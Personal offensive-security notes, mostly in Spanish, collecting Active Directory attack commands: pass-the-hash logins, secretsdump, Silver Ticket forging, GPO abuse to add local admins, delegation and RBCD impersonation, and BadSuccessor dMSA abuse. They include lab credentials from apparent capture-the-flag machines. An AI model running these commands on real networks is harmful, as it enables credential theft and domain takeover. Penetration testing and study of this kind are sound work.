evil-winrm -i IP -u USER -H "SEGUNDA PARTE HASH (NTLM)"

Kerberos

bash
impacket-secretsdump DOMAIN/'USER'@DC.DOMAIN -k -no-pass -dc-ip IP

Buscar objetos borrados 🗑️

Y posteriormente restablecerlos, quizás sea necesario habilitarlos

powershell
Get-ADObject -IncludeDeletedObjects -Filter 'ObjectClass -like "user"' -Properties *

bloodyAD --host DC01.checkpoint.htb --dc-ip 10.129.44.95 -d checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!'  set restore mark.davies

# o desde powershell:

Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

bloodyAD --host DC.DOMAIN -d DOMAIN -u USER -p 'PASS' remove uac 'TARGET USER' -f ACCOUNTDISABLE

rpcclient -U 'USER%PASS' IP -c 'setuserinfo2 TARGETUSER 23 'PASS'

Rebuscar en la papelera de reciclaje local 🗑️

powershell
$shell = New-Object -ComObject Shell.Application  
$recycleBin = $shell.Namespace(0xA)  
$recycleBin.items() | Select-Object Name, Path
powershell
Restore deleted file  
  
$recycleBin = (New-Object -ComObject Shell.Application).NameSpace(0xA)  
$items = $recycleBin.Items()  
$item = $items | Where-Object {$_.Name -eq "wapt-backup-sunday.7z"}  
$documentsPath = [Environment]::GetFolderPath("Desktop")  
$documents = (New-Object -ComObject Shell.Application).NameSpace($documentsPath)  
$documents.MoveHere($item)

Silver Ticket Attack 🎟️

If you compromise an account's password with a SPN you can use that password to create a Silver Ticket impersonating any user to that service.

Delegation vs Direct Access: Directly connecting to the MSSQL service using a password relies on the permissions assigned to the **svc_mssql** account within SQL Server. This includes permissions defined in roles, explicit grants, or denies, etc. The MSSQL service checks the account's permissions within the context of SQL Server.

Silver Ticket and Service Account: Crafting a silver ticket means you're effectively impersonating the **svc_mssql** service account at the Kerberos authentication level. In the context of MSSQL, this account might have been configured (often mistakenly) with higher or sysadmin privileges, especially if it's the account used to run the SQL Server service. This can often be the case

Procedimiento

  • Para obtener el nthash en base a la contraseña:

NTLM HASH Generator

  • Para obtener el SPN:
bash
impacket-GetUserSPNs DOMAIN/USER:PASS -request
powershell
Get-ADUser -Filter {SamAccountName -eq "SVC_ACCOUNT"} -Properties ServicePrincipalNames
  • Para obtener el SID
bash
impacket-lookupsid USER@DOAMIN -target-ip IP  -domain-sids

/etc/krb5.conf

[libdefaults]
        default_realm = NAGOYA-INDUSTRIES.COM
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
    rdns = false
    dns_canonicalize_hostname = false
        fcc-mit-ticketflags = true

[realms]        
        NAGOYA-INDUSTRIES.COM = {
                kdc = nagoya.nagoya-industries.com
        }

[domain_realm]
        .nagoya-industries.com = NAGOYA-INDUSTRIES.COM
bash
impacket-ticketer -nthash NTHASH -domain-sid SID -domain DOMAIN -spn MSSQL/DC.DOMAIN -user-id 500 Administrator
bash
export KRB5CCNAME=Administrator.ccache

Por eiemplo

bash
impacket-mssqlclient -k DC.DOMAIN
  1. Qué hace un silver ticket

    • Cuando forjas un silver ticket estás creando un TGS (Ticket-Granting Service) para un SPN concreto (p. ej. MSSQL/nagoya...).

    • Ese TGS se cifra con la clave de la cuenta de servicio asociada al SPN (es decir, el NT hash de la cuenta bajo la que corre MSSQL o la cuenta mapeada al SPN).

    • Por tanto, el receptor lógico del ticket —el servicio que tiene la clave— puede descifrarlo y verificar su integridad.

  2. Quién valida el ticket al llegar

    • El servidor de aplicación (o su proceso de autenticación —ej. LSASS en Windows/SQL Server) recibe el ticket y lo descifra con la clave del service account.

    • Si el descifrado es correcto y las comprobaciones locales que haga el servicio pasan, el servicio te “acepta” como la identidad que figura en el ticket.

    • No hace falta que el KDC (krbtgt) haya emitido ese ticket porque el servicio sólo necesita poder descifrar/verificarlo con su propia clave.

  3. Entonces… ¿qué papel tiene krbtgt normalmente?

    • En un flujo Kerberos legítimo, el KDC (mediante la clave krbtgt) firma/autoriza el PAC y emite tickets. Esa firma permite a servicios confiar en las memberships/atributos dentro del PAC.

    • Al forjar un silver ticket se salta la emisión por el KDC; por eso la firma del KDC sobre el PAC no estará presente o no será válida. Algunos servicios comprueban esa firma; otros no.

  4. Por qué algunos servicios aceptan el ticket aun sin krbtgt

    • Muchos servicios / configuraciones sólo requieren que el ticket se descifre correctamente con la clave del SPN y no validan la firma del PAC contra el KDC. En esos casos aceptan los SIDs/memberships que trae el ticket.

    • Otros servicios (o configuraciones más estrictas) verifican la validez del PAC o consultan al DC para confirmar atributos; en esos casos el silver ticket puede fallar o comportarse de forma limitada.

  5. Resumen en una línea

    • No te estás “autenticando contra krbtgt porque no necesitas que el KDC te entregue el ticket: te estás autenticando contra el servicio objetivo (la cuenta/SPN) que posee la clave usada para cifrar y descifrar ese ticket.**

Default Domain Policy - Generic Write

SharpGPOAbuse/SharpGPOAbuse-master at main · byronkg/SharpGPOAbuse · GitHub

bash
.\SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Default Domain Policy" --UserAccount USERNAME
gpupdate /force

whoami

🔵 Unconstrained Delegation

Imagina un escenario común de 3 niveles:

  1. Usuario: Un empleado.
  2. Servicio Front-end: Un servidor web (Ej: IIS).
  3. Servicio Back-end: Un servidor de base de datos (Ej: SQL Server).

El usuario accede al servidor web. El servidor web necesita consultar la base de datos en nombre del usuario (para aplicar sus permisos). Con la Delegación No Restringida, se marcaba la cuenta del servidor web como "Confiable para delegación" (Trusted for Delegation) en AD.

  • El Riesgo 🚨: Si un atacante comprometía el servidor web (Front-end), obtenía un poder inmenso. Podía suplantar a cualquier usuario (incluido un Administrador de Dominio que hubiera iniciado sesión en el servidor web) y usar esa identidad para acceder a cualquier otro servicio en el dominio (controladores de dominio, servidores de archivos, etc.). Era un "cheque en blanco".

🟡 Constrained Delegation

Se especifica una lista blanca de servicios a los que puede acceder el Front-end (solo al servicio de bases de datos)

Kerberos Constrained Delegation (KCD) Tradicional

Se edita el atributo msDS-AllowedToDelegateTo del Front-end con una lista de SPNs a los que permite acceder

Para ver que a SPN podemos hacer Constrained Delegation:

bash
bloodyAD --host DC01.pirate.htb --dc-ip 10.129.244.95 -d pirate.htb -u 'a.white_adm' -k get object 'a.white_adm' --attr msDS-AllowedToDelegateTo

Resource-Based Constrained Delegation (RBCD)

Se editaría el atributo msDS-AllowedToActOnBehalfOfOtherIdentity en el backend esta vez. Esto lista las cuentas de servicio o máquinas que tienen permiso para delegar hacia el backend. El dueño del backend decide que frontends pueden suplantar usuarios para acceder a su backend.

Sobre el ordenador sobre el que podemos modificar msDS-AllowedToActOnBehalfOfOtherIdentity

bash
Set-ADComputer 'DC$' -PrincipalsAllowedToDelegateToAccount 'COMPUTER$' #Assing delegation privileges

"Soy COMPUTER$, y quiero que me des un ticket de servicio como si yo fuera el usuario backupadmin":

bash
impacket-getST -spn 'cifs/DC.DOMAIN' -impersonate backupadmin -dc-ip IP -k 'DOMAIN/COMPUTER$:Password'

BadSucessor

Una cuenta dMSA puede heredar los permisos de otra cuenta al hacer una migración.

Hay un módulo de netexec para comprobar la vulnerabilidad:

Pasted image 20260709172329

Requisitos necesarios

  1. Al menos un Windows Server 2025 en el dominio.
  2. Permisos para modificar una OU y CreateChild / Permisos para modificar una dMSA.
  3. Permisos para cambiar los atributos msDS-ManagedAccountPrecededByLink (usuario del que se heredan los permisos) y msDS-DelegatedMSAState (se pone a 2 para indicar migración completada).

dMSA vs gMSA

CaracterísticagMSA (Group Managed Service Account)dMSA (Delegated Managed Service Account)
Versión de IntroducciónWindows Server 2012Windows Server 2025
Propósito PrincipalAutomatizar la gestión de contraseñas de cuentas de servicio compartidas entre múltiples servidores.Permitir a usuarios o grupos específicos obtener credenciales dinámicas para ejecutar servicios/tareas.
¿Quién recupera la contraseña?Equipos (Computer accounts) que pertenecen a un grupo de seguridad de AD autorizado.Usuarios o grupos (Users/Groups) explícitamente delegados mediante permisos.
Casos de Uso IdealesGranjas de servidores, Pools de aplicaciones web (IIS), Clústeres de SQL Server.Tareas programadas de usuarios, scripts de automatización administrados por desarrolladores o analistas.
Clase de Objeto en ADmsDS-GroupManagedServiceAccountmsDS-DelegatedManagedServiceAccount
El Problema que ResuelveEvita que los administradores usen contraseñas estáticas compartidas (Contraseña123!) en varios servidores.Evita que se asigne la credencial estática de una cuenta de servicio directamente a un usuario estándar.
Vector de Ataque ComúnLeer el atributo msDS-ManagedPassword si se compromete un equipo autorizado (o vía Silver Ticket).Vulnerabilidad de migración/secuestro (BadSuccessor) o abuso de los permisos delegados sobre la cuenta.

Listar si tenemos permisos necesarios

bash
bloodyAD -k ccache=/tmp/ryan2.ccache \
--dc-ip $TARGET_IP \
--host DC01.checkpoint.htb \
-d checkpoint.htb \
get writable --right WRITE

🔗 https://0xss0rz.gitbook.io/0xss0rz/pentest/internal-pentest/dmsa-windows-server-2025

🔗 https://www.alteredsecurity.com/post/bettersuccessor-still-abusing-dmsa-for-privilege-escalation-badsuccessor-after-patch

SPNJacking

🔗 https://www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/

Notas personales de seguridad ofensiva.